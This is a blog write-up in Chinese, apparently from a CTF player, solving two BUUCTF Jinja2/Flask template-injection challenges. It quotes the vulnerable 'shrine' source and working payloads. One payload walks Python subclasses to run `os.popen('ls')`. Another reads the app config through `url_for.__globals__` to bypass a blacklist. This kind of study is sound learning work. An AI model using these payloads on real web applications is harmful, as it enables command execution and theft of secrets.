buu两道SSTI

buu两道SSTI

1.题目:
2.过程:
Web_python_template_injection

进入题目,只有一个页面……随便访问一个:

image-20210310193328950

image-20210310193457920

得到配置

这里简单的lipsum方法似乎不行……在不确定的情况下,可以用模板支持的python语句进行遍历:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].popen('ls').read()}}{% endif %}{% endfor %}

找到指定的模块并运用即可:

image-20210310194103588 image-20210310194117771

获得flag

shrine

进入题目发现给了python的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

设置了一个flask对象:app flag大概是被设置到对象的配置文件中

路由中有:/shrine/<path:shrine>

访问并查看源码:

image-20210310193240514

SSTI……blaklist

相当于:+s

还会替换 ‘(‘ 和 ‘)’ ……

这里要注意,config是flask中的变量,记录了整个配置信息。set config=None仅仅是使得此方法无法使用,而不是替换’config‘为’None‘,所以 会返回None。我们仍有其他方法访问config。

1
{{self.__dict__}}也可以得到config,只是同样被禁用了……

Flask特有的变量和函数

config | request | session | url_for() | get_flashed_messages()

详细方法:https://blog.csdn.net/enjolras_fuu/article/details/82229073

1
2
3
在url_for.__globals__中,我们可以找到有关app配置的模块current_app
可以通过{{url_for.__globals__['current_app'].config}}来读取当前对象的配置
get_flashed_messages中好像也有……

或许这种情况应该在这些函数中翻一翻相关的文件……就能找到方法

image-20210310193254568

获得flag

两道题是不同的考点,都是基础……

学习了……

作者

inanb

发布于

2021-03-10

更新于

2021-08-23

许可协议


:D 一言句子获取中...